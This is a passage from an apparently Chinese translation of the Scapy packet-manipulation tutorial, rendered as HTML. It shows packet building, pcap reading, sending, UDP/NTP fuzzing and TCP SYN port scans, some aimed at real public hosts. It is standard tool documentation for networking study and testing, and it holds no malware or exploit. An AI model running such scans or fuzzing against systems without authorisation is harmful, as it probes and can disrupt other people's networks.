class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">20</span> id=<span class="number">1</span> flags= frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=IP</span><br><span class="line"> chksum=<span class="number">0x7ce7</span> src=<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> dst=<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> |></span><br><span class="line"><span class="meta">>>> </span> a=Ether()/IP(dst=<span class="string">"www.slashdot.org"</span>)/TCP()/<span class="string">"GET /index.html HTTP/1.0 \n\n"</span></span><br><span class="line"><span class="meta">>>> </span> hexdump(a)</span><br><span class="line"><span class="number">00</span> <span class="number">02</span> <span class="number">15</span> <span class="number">37</span> A2 <span class="number">44</span> <span class="number">00</span> AE F3 <span class="number">52</span> AA D1 <span class="number">08</span> <span class="number">00</span> <span class="number">45</span> <span class="number">00</span> ..<span class="number">.7</span>.D...R....E.</span><br><span class="line"><span class="number">00</span> <span class="number">43</span> <span class="number">00</span> <span class="number">01</span> <span class="number">00</span> <span class="number">00</span> <span class="number">40</span> <span class="number">06</span> <span class="number">78</span> <span class="number">3</span>C C0 A8 <span class="number">05</span> <span class="number">15</span> <span class="number">42</span> <span class="number">23</span> [email protected]<....B<span class="comment">#</span></span><br><span class="line">FA <span class="number">97</span> <span class="number">00</span> <span class="number">14</span> <span class="number">00</span> <span class="number">50</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">50</span> <span class="number">02</span> .....P........P.</span><br><span class="line"><span class="number">20</span> <span class="number">00</span> BB <span class="number">39</span> <span class="number">00</span> <span class="number">00</span> <span class="number">47</span> <span class="number">45</span> <span class="number">54</span> <span class="number">20</span> <span class="number">2</span>F <span class="number">69</span> <span class="number">6</span>E <span class="number">64</span> <span class="number">65</span> <span class="number">78</span> .<span class="number">.9</span>..GET /index</span><br><span class="line"><span class="number">2</span>E <span class="number">68</span> <span class="number">74</span> <span class="number">6</span>D <span class="number">6</span>C <span class="number">20</span> <span class="number">48</span> <span class="number">54</span> <span class="number">54</span> <span class="number">50</span> <span class="number">2</span>F <span class="number">31</span> <span class="number">2</span>E <span class="number">30</span> <span class="number">20</span> <span class="number">0</span>A .html HTTP/<span class="number">1.0</span> .</span><br><span class="line"><span class="number">0</span>A .</span><br><span class="line"><span class="meta">>>> </span>b=raw(a)</span><br><span class="line"><span class="meta">>>> </span>b</span><br><span class="line"><span class="string">'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0</span></span><br><span class="line"><span class="string"> \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00</span></span><br><span class="line"><span class="string"> \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'</span></span><br><span class="line"><span class="meta">>>> </span>c=Ether(b)</span><br><span class="line"><span class="meta">>>> </span>c</span><br><span class="line"><Ether dst=<span class="number">00</span>:<span class="number">02</span>:<span class="number">15</span>:<span class="number">37</span>:a2:<span class="number">44</span> src=<span class="number">00</span>:ae:f3:<span class="number">52</span>:aa:d1 type=<span class="number">0x800</span> |<IP version=<span class="number">4L</span></span><br><span class="line"> ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">67</span> id=<span class="number">1</span> flags= frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=TCP chksum=<span class="number">0x783c</span></span><br><span class="line"> src=<span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> options=<span class="string">''</span> |<TCP sport=<span class="number">20</span> dport=<span class="number">80</span> seq=<span class="number">0L</span></span><br><span class="line"> ack=<span class="number">0L</span> dataofs=<span class="number">5L</span> reserved=<span class="number">0L</span> flags=S window=<span class="number">8192</span> chksum=<span class="number">0xbb39</span> urgptr=<span class="number">0</span></span><br><span class="line"> options=[] |<Raw load=<span class="string">'GET /index.html HTTP/1.0 \n\n'</span> |>>>></span><br></pre></td></tr></table></figure><p>可以看到被切分的数据包含所有被填充的字段,如果这太长了,可以用hide_defaults()函数去除其中与默认值相同的字段:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>c.hide_defaults()</span><br><span class="line"><span class="meta">>>> </span>c</span><br><span class="line"><Ether dst=<span class="number">00</span>:<span class="number">0</span>f:<span class="number">66</span>:<span class="number">56</span>:fa:d2 src=<span class="number">00</span>:ae:f3:<span class="number">52</span>:aa:d1 type=<span class="number">0x800</span> |<IP ihl=<span class="number">5L</span> len=<span class="number">67</span></span><br><span class="line"> frag=<span class="number">0</span> proto=TCP chksum=<span class="number">0x783c</span> src=<span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> |<TCP dataofs=<span class="number">5L</span></span><br><span class="line"> chksum=<span class="number">0xbb39</span> options=[] |<Raw load=<span class="string">'GET /index.html HTTP/1.0 \n\n'</span> |>>>></span><br></pre></td></tr></table></figure><h3 id="Reading-PCAP-files"><a href="#Reading-PCAP-files" class="headerlink" title="Reading PCAP files"></a>Reading PCAP files</h3><p>你可以通过pcap文件读写数据:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>a=rdpcap(<span class="string">"/spare/captures/isakmp.cap"</span>)</span><br><span class="line"><span class="meta">>>> </span>a</span><br><span class="line"><isakmp.cap: UDP:<span class="number">721</span> TCP:<span class="number">0</span> ICMP:<span class="number">0</span> Other:<span class="number">0</span>></span><br></pre></td></tr></table></figure><h3 id="Graphical-dumps-PDF-PS"><a href="#Graphical-dumps-PDF-PS" class="headerlink" title="Graphical dumps (PDF, PS)"></a>Graphical dumps (PDF, PS)</h3><p> 如果您已经安装PyX,您可以做一个数据包的图形PostScript/ PDF转储(见下面丑陋的PNG图像,PostScript/PDF则具有更好的质量…) </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>a[<span class="number">423</span>].pdfdump(layer_shift=<span class="number">1</span>)</span><br><span class="line"><span class="meta">>>> </span>a[<span class="number">423</span>].psdump(<span class="string">"/tmp/isakmp_pkt.eps"</span>,layer_shift=<span class="number">1</span>)</span><br></pre></td></tr></table></figure><p><img src="isakmp_dump.png" alt="_images/isakmp_dump.png"></p><table><thead><tr><th align="left">Command</th><th align="center">Effect</th></tr></thead><tbody><tr><td align="left">raw(pkt)</td><td align="center">组装数据包</td></tr><tr><td align="left">hexdump(pkt)</td><td align="center">十六进制转储</td></tr><tr><td align="left">ls(pkt)</td><td align="center">显示出字段值的列表</td></tr><tr><td align="left">pkt.summary()</td><td align="center">一行摘要</td></tr><tr><td align="left">pkt.show()</td><td align="center">针对数据包的展开试图</td></tr><tr><td align="left">pkt.show2()</td><td align="center">显示聚合的数据包(例如,计算好了校验和)</td></tr><tr><td align="left">pkt.sprintf()</td><td align="center">用数据包字段填充格式字符串</td></tr><tr><td align="left">pkt.decode_payload_as()</td><td align="center">改变payload的decode方式</td></tr><tr><td align="left">pkt.psdump()</td><td align="center">绘制一个解释说明的PostScript图表</td></tr><tr><td align="left">pkt.pdfdump()</td><td align="center">绘制一个解释说明的PDF</td></tr><tr><td align="left">pkt.command()</td><td align="center">返回可以生成数据包的Scapy命令</td></tr></tbody></table><h3 id="Generating-sets-of-packets"><a href="#Generating-sets-of-packets" class="headerlink" title="Generating sets of packets"></a>Generating sets of packets</h3><p> 目前我们只是生成一个数据包。让我们看看如何轻易地定制一组数据包。整个数据包的每一个字段(甚至是网络层次)都可以是一组。在这里隐含地定义了一组数据包的概念,意即是使用所有区域之间的笛卡尔乘积来生成的一组数据包。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>a=IP(dst=<span class="string">"www.slashdot.org/30"</span>)</span><br><span class="line"><span class="meta">>>> </span>a</span><br><span class="line"><IP dst=Net(<span class="string">'www.slashdot.org/30'</span>) |></span><br><span class="line"><span class="meta">>>> </span>[p <span class="keyword">for</span> p <span class="keyword">in</span> a]</span><br><span class="line">[<IP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.148</span> |>, <IP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.149</span> |>,</span><br><span class="line"> <IP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.150</span> |>, <IP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> |>]</span><br><span class="line"><span class="meta">>>> </span>b=IP(ttl=[<span class="number">1</span>,<span class="number">2</span>,(<span class="number">5</span>,<span class="number">9</span>)])</span><br><span class="line"><span class="meta">>>> </span>b</span><br><span class="line"><IP ttl=[<span class="number">1</span>, <span class="number">2</span>, (<span class="number">5</span>, <span class="number">9</span>)] |></span><br><span class="line"><span class="meta">>>> </span>[p <span class="keyword">for</span> p <span class="keyword">in</span> b]</span><br><span class="line">[<IP ttl=<span class="number">1</span> |>, <IP ttl=<span class="number">2</span> |>, <IP ttl=<span class="number">5</span> |>, <IP ttl=<span class="number">6</span> |>,</span><br><span class="line"> <IP ttl=<span class="number">7</span> |>, <IP ttl=<span class="number">8</span> |>, <IP ttl=<span class="number">9</span> |>]</span><br><span class="line"><span class="meta">>>> </span>c=TCP(dport=[<span class="number">80</span>,<span class="number">443</span>])</span><br><span class="line"><span class="meta">>>> </span>[p <span class="keyword">for</span> p <span class="keyword">in</span> a/c]</span><br><span class="line">[<IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.148</span> |<TCP dport=<span class="number">80</span> |>>,</span><br><span class="line"> <IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.148</span> |<TCP dport=<span class="number">443</span> |>>,</span><br><span class="line"> <IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.149</span> |<TCP dport=<span class="number">80</span> |>>,</span><br><span class="line"> <IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.149</span> |<TCP dport=<span class="number">443</span> |>>,</span><br><span class="line"> <IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.150</span> |<TCP dport=<span class="number">80</span> |>>,</span><br><span class="line"> <IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.150</span> |<TCP dport=<span class="number">443</span> |>>,</span><br><span class="line"> <IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> |<TCP dport=<span class="number">80</span> |>>,</span><br><span class="line"> <IP frag=<span class="number">0</span> proto=TCP dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> |<TCP dport=<span class="number">443</span> |>>]</span><br></pre></td></tr></table></figure><p> 某些操作(如修改一个数据包中的字符串)无法对于一组数据包使用。在这些情况下,如果您忘记展开您的数据包集合,只有您忘记生成的列表中的第一个元素会被用于组装数据包。 </p><table><thead><tr><th>Command</th><th align="center">Effect</th></tr></thead><tbody><tr><td>summary()</td><td align="center">显示一个关于每个数据包的摘要列表</td></tr><tr><td>nsummary()</td><td align="center">同上,但规定了数据包数量</td></tr><tr><td>conversations()</td><td align="center">显示一个会话图表</td></tr><tr><td>show()</td><td align="center">显示首选表示(通常用nsummary())</td></tr><tr><td>filter()</td><td align="center">返回一个lambda过滤后的数据包列表</td></tr><tr><td>hexdump()</td><td align="center">返回所有数据包的一个hexdump</td></tr><tr><td>hexraw()</td><td align="center">返回所以数据包Raw layer的hexdump</td></tr><tr><td>padding()</td><td align="center">返回一个带填充的数据包的hexdump</td></tr><tr><td>nzpadding()</td><td align="center">返回一个具有非零填充的数据包的hexdump</td></tr><tr><td>plot()</td><td align="center">规划一个应用到数据包列表的lambda函数</td></tr><tr><td>make table()</td><td align="center">根据lambda函数来显示表格</td></tr></tbody></table><h3 id="Sending-packets"><a href="#Sending-packets" class="headerlink" title="Sending packets"></a>Sending packets</h3><p> 现在我们知道了如何处理数据包。让我们来看看如何发送它们。<code>send()</code>函数将会在第3层发送数据包。也就是说它会为你处理路由和第2层的数据。<code>sendp()</code>函数将会工作在第2层。选择合适的接口和正确的链路层协议都取决于你。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send(IP(dst=<span class="string">"1.2.3.4"</span>)/ICMP())</span><br><span class="line">.</span><br><span class="line">Sent <span class="number">1</span> packets.</span><br><span class="line"><span class="meta">>>> </span>sendp(Ether()/IP(dst=<span class="string">"1.2.3.4"</span>,ttl=(<span class="number">1</span>,<span class="number">4</span>)), iface=<span class="string">"eth1"</span>)</span><br><span class="line">....</span><br><span class="line">Sent <span class="number">4</span> packets.</span><br><span class="line"><span class="meta">>>> </span>sendp(<span class="string">"I'm travelling on Ethernet"</span>, iface=<span class="string">"eth1"</span>, loop=<span class="number">1</span>, inter=<span class="number">0.2</span>)</span><br><span class="line">................^C</span><br><span class="line">Sent <span class="number">16</span> packets.</span><br><span class="line"><span class="meta">>>> </span>sendp(rdpcap(<span class="string">"/tmp/pcapfile"</span>)) <span class="comment"># tcpreplay</span></span><br><span class="line">...........</span><br><span class="line">Sent <span class="number">11</span> packets.</span><br><span class="line"></span><br><span class="line">Returns packets sent by send()</span><br><span class="line"><span class="meta">>>> </span>send(IP(dst=<span class="string">'127.0.0.1'</span>), return_packets=<span class="literal">True</span>)</span><br><span class="line">.</span><br><span class="line">Sent <span class="number">1</span> packets.</span><br><span class="line"><PacketList: TCP:<span class="number">0</span> UDP:<span class="number">0</span> ICMP:<span class="number">0</span> Other:<span class="number">1</span>></span><br></pre></td></tr></table></figure><h3 id="Fuzzing"><a href="#Fuzzing" class="headerlink" title="Fuzzing"></a>Fuzzing</h3><p> <code>fuzz()</code>函数可以通过一个具有随机值、数据类型合适的对象,来改变任何默认值,但该值不能是被计算的(像校验和那样)。这使得可以快速建立循环模糊化测试模板。在下面的例子中,IP层是正常的,UDP层和NTP层被fuzz。UDP的校验和是正确的,UDP的目的端口被NTP重载为123,而且NTP的版本被更变为4.其他所有的端口将被随机分组: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send(IP(dst=<span class="string">"target"</span>)/fuzz(UDP()/NTP(version=<span class="number">4</span>)),loop=<span class="number">1</span>)</span><br><span class="line">................^C</span><br><span class="line">Sent <span class="number">16</span> packets.</span><br></pre></td></tr></table></figure><h3 id="Send-and-receive-packets-sr"><a href="#Send-and-receive-packets-sr" class="headerlink" title="Send and receive packets (sr)"></a>Send and receive packets (sr)</h3><p> 现在让我们做一些有趣的事情。<code>sr()</code>函数是用来发送数据包和接收应答。该函数返回一对数据包及其应答,还有无应答的数据包。<code>sr1()</code>函数是一种变体,用来返回一个应答数据包。发送的数据包必须是第3层报文(IP,ARP等)。<code>srp()</code>则是使用第2层报文(以太网,802.3等)。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>p = sr1(IP(dst=<span class="string">"www.slashdot.org"</span>)/ICMP()/<span class="string">"XXXXXXXXXXX"</span>)</span><br><span class="line">Begin emission:</span><br><span class="line">...Finished to send <span class="number">1</span> packets.</span><br><span class="line">.*</span><br><span class="line">Received <span class="number">5</span> packets, got <span class="number">1</span> answers, remaining <span class="number">0</span> packets</span><br><span class="line"><span class="meta">>>> </span>p</span><br><span class="line"><IP version=<span class="number">4L</span> ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">39</span> id=<span class="number">15489</span> flags= frag=<span class="number">0L</span> ttl=<span class="number">42</span> proto=ICMP</span><br><span class="line"> chksum=<span class="number">0x51dd</span> src=<span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> dst=<span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> options=<span class="string">''</span> |<ICMP type=echo-reply</span><br><span class="line"> code=<span class="number">0</span> chksum=<span class="number">0xee45</span> id=<span class="number">0x0</span> seq=<span class="number">0x0</span> |<Raw load=<span class="string">'XXXXXXXXXXX'</span></span><br><span class="line"> |<Padding load=<span class="string">'\x00\x00\x00\x00'</span> |>>>></span><br><span class="line"><span class="meta">>>> </span>p.show()</span><br><span class="line">---[ IP ]---</span><br><span class="line">version = <span class="number">4L</span></span><br><span class="line">ihl = <span class="number">5L</span></span><br><span class="line">tos = <span class="number">0x0</span></span><br><span class="line">len = <span class="number">39</span></span><br><span class="line">id = <span class="number">15489</span></span><br><span class="line">flags =</span><br><span class="line">frag = <span class="number">0L</span></span><br><span class="line">ttl = <span class="number">42</span></span><br><span class="line">proto = ICMP</span><br><span class="line">chksum = <span class="number">0x51dd</span></span><br><span class="line">src = <span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span></span><br><span class="line">dst = <span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span></span><br><span class="line">options = <span class="string">''</span></span><br><span class="line">---[ ICMP ]---</span><br><span class="line"> type = echo-reply</span><br><span class="line"> code = <span class="number">0</span></span><br><span class="line"> chksum = <span class="number">0xee45</span></span><br><span class="line"> id = <span class="number">0x0</span></span><br><span class="line"> seq = <span class="number">0x0</span></span><br><span class="line">---[ Raw ]---</span><br><span class="line"> load = <span class="string">'XXXXXXXXXXX'</span></span><br><span class="line">---[ Padding ]---</span><br><span class="line"> load = <span class="string">'\x00\x00\x00\x00'</span></span><br></pre></td></tr></table></figure><p> DNS查询(<code>rd</code> = recursion desired)。主机192.168.5.1是我的DNS服务器。注意从我Linksys来的非空填充具有Etherleak缺陷: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr1(IP(dst=<span class="string">"192.168.5.1"</span>)/UDP()/DNS(rd=<span class="number">1</span>,qd=DNSQR(qname=<span class="string">"www.slashdot.org"</span>)))</span><br><span class="line">Begin emission:</span><br><span class="line">Finished to send <span class="number">1</span> packets.</span><br><span class="line">..*</span><br><span class="line">Received <span class="number">3</span> packets, got <span class="number">1</span> answers, remaining <span class="number">0</span> packets</span><br><span class="line"><IP version=<span class="number">4L</span> ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">78</span> id=<span class="number">0</span> flags=DF frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=UDP chksum=<span class="number">0xaf38</span></span><br><span class="line"> src=<span class="number">192.168</span><span class="number">.5</span><span class="number">.1</span> dst=<span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> options=<span class="string">''</span> |<UDP sport=<span class="number">53</span> dport=<span class="number">53</span> len=<span class="number">58</span> chksum=<span class="number">0xd55d</span></span><br><span class="line"> |<DNS id=<span class="number">0</span> qr=<span class="number">1L</span> opcode=QUERY aa=<span class="number">0L</span> tc=<span class="number">0L</span> rd=<span class="number">1L</span> ra=<span class="number">1L</span> z=<span class="number">0L</span> rcode=ok qdcount=<span class="number">1</span> ancount=<span class="number">1</span></span><br><span class="line"> nscount=<span class="number">0</span> arcount=<span class="number">0</span> qd=<DNSQR qname=<span class="string">'www.slashdot.org.'</span> qtype=A qclass=IN |></span><br><span class="line"> an=<DNSRR rrname=<span class="string">'www.slashdot.org.'</span> type=A rclass=IN ttl=<span class="number">3560L</span> rdata=<span class="string">'66.35.250.151'</span> |></span><br><span class="line"> ns=<span class="number">0</span> ar=<span class="number">0</span> |<Padding load=<span class="string">'\xc6\x94\xc7\xeb'</span> |>>>></span><br></pre></td></tr></table></figure><p> 发送和接收函数族是scapy中的核心部分。它们返回一对两个列表。第一个就是发送的数据包及其应答组成的列表,第二个是无应答数据包组成的列表。为了更好地呈现它们,它们被封装成一个对象,并且提供了一些便于操作的方法: </p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr(IP(dst=<span class="string">"192.168.8.1"</span>)/TCP(dport=[<span class="number">21</span>,<span class="number">22</span>,<span class="number">23</span>]))</span><br><span class="line">Received <span class="number">6</span> packets, got <span class="number">3</span> answers, remaining <span class="number">0</span> packets</span><br><span class="line">(<Results: UDP:<span class="number">0</span> TCP:<span class="number">3</span> ICMP:<span class="number">0</span> Other:<span class="number">0</span>>, <Unanswered: UDP:<span class="number">0</span> TCP:<span class="number">0</span> ICMP:<span class="number">0</span> Other:<span class="number">0</span>>)</span><br><span class="line"><span class="meta">>>> </span>ans, unans = _</span><br><span class="line"><span class="meta">>>> </span>ans.summary()</span><br><span class="line">IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding</span><br><span class="line">IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding</span><br><span class="line">IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding</span><br></pre></td></tr></table></figure><p> 如果对于应答数据包有速度限制,你可以通过<code>inter</code>参数来设置两个数据包之间等待的时间间隔。如果有些数据包丢失了,或者设置时间间隔不足以满足要求,你可以重新发送所有无应答数据包。你可以简单地对无应答数据包列表再调用一遍函数,或者去设置<code>retry</code>参数。如果retry设置为3,scapy会对无应答的数据包重复发送三次。如果retry设为-3,scapy则会一直发送无应答的数据包,直到。<code>timeout</code>参数设置在最后一个数据包发出去之后的等待时间: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr(IP(dst=<span class="string">"172.20.29.5/30"</span>)/TCP(dport=[<span class="number">21</span>,<span class="number">22</span>,<span class="number">23</span>]),inter=<span class="number">0.5</span>,retry=<span class="number">-2</span>,timeout=<span class="number">1</span>)</span><br><span class="line">Begin emission:</span><br><span class="line">Finished to send <span class="number">12</span> packets.</span><br><span class="line">Begin emission:</span><br><span class="line">Finished to send <span class="number">9</span> packets.</span><br><span class="line">Begin emission:</span><br><span class="line">Finished to send <span class="number">9</span> packets.</span><br><span class="line"></span><br><span class="line">Received <span class="number">100</span> packets, got <span class="number">3</span> answers, remaining <span class="number">9</span> packets</span><br><span class="line">(<Results: UDP:<span class="number">0</span> TCP:<span class="number">3</span> ICMP:<span class="number">0</span> Other:<span class="number">0</span>>, <Unanswered: UDP:<span class="number">0</span> TCP:<span class="number">9</span> ICMP:<span class="number">0</span> Other:<span class="number">0</span>>)</span><br></pre></td></tr></table></figure><h3 id="SYN-Scans"><a href="#SYN-Scans" class="headerlink" title="SYN Scans"></a>SYN Scans</h3><p> 在Scapy提示符中执行一下命令,可以对经典的SYN Scan初始化: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr1(IP(dst=<span class="string">"72.14.207.99"</span>)/TCP(dport=<span class="number">80</span>,flags=<span class="string">"S"</span>))</span><br></pre></td></tr></table></figure><p> 以上向Google的80端口发送了一个SYN数据包,会在接收到一个应答后退出: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Begin emission:</span><br><span class="line">.Finished to send <span class="number">1</span> packets.</span><br><span class="line">*</span><br><span class="line">Received <span class="number">2</span> packets, got <span class="number">1</span> answers, remaining <span class="number">0</span> packets</span><br><span class="line"><IP version=<span class="number">4L</span> ihl=<span class="number">5L</span> tos=<span class="number">0x20</span> len=<span class="number">44</span> id=<span class="number">33529</span> flags= frag=<span class="number">0L</span> ttl=<span class="number">244</span></span><br><span class="line">proto=TCP chksum=<span class="number">0x6a34</span> src=<span class="number">72.14</span><span class="number">.207</span><span class="number">.99</span> dst=<span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span> options=// |</span><br><span class="line"><TCP sport=www dport=ftp-data seq=<span class="number">2487238601L</span> ack=<span class="number">1</span> dataofs=<span class="number">6L</span> reserved=<span class="number">0L</span></span><br><span class="line">flags=SA window=<span class="number">8190</span> chksum=<span class="number">0xcdc7</span> urgptr=<span class="number">0</span> options=[(<span class="string">'MSS'</span>, <span class="number">536</span>)] |</span><br><span class="line"><Padding load=<span class="string">'V\xf7'</span> |>>></span><br></pre></td></tr></table></figure><p>从以上的输出中可以看出,Google返回了一个SA(SYN-ACK)标志位,表示80端口是open的。</p><p>使用其他标志位扫描一下系统的440到443端口:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr(IP(dst=<span class="string">"192.168.1.1"</span>)/TCP(sport=<span class="number">666</span>,dport=(<span class="number">440</span>,<span class="number">443</span>),flags=<span class="string">"S"</span>))</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr(IP(dst=<span class="string">"192.168.1.1"</span>)/TCP(sport=RandShort(),dport=[<span class="number">440</span>,<span class="number">441</span>,<span class="number">442</span>,<span class="number">443</span>],flags=<span class="string">"S"</span>))</span><br></pre></td></tr></table></figure><p> 可以对收集的数据包进行摘要(summary),来快速地浏览响应: </p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = _</span><br><span class="line"><span class="meta">>>> </span>ans.summary()</span><br><span class="line">IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding</span><br><span class="line">IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding</span><br><span class="line">IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding</span><br><span class="line">IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding</span><br></pre></td></tr></table></figure><p> 以上显示了我们在扫描过程中的请求应答对。我们也可以用一个循环只显示我们感兴趣的信息: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary( <span class="keyword">lambda</span>(s,r): r.sprintf(<span 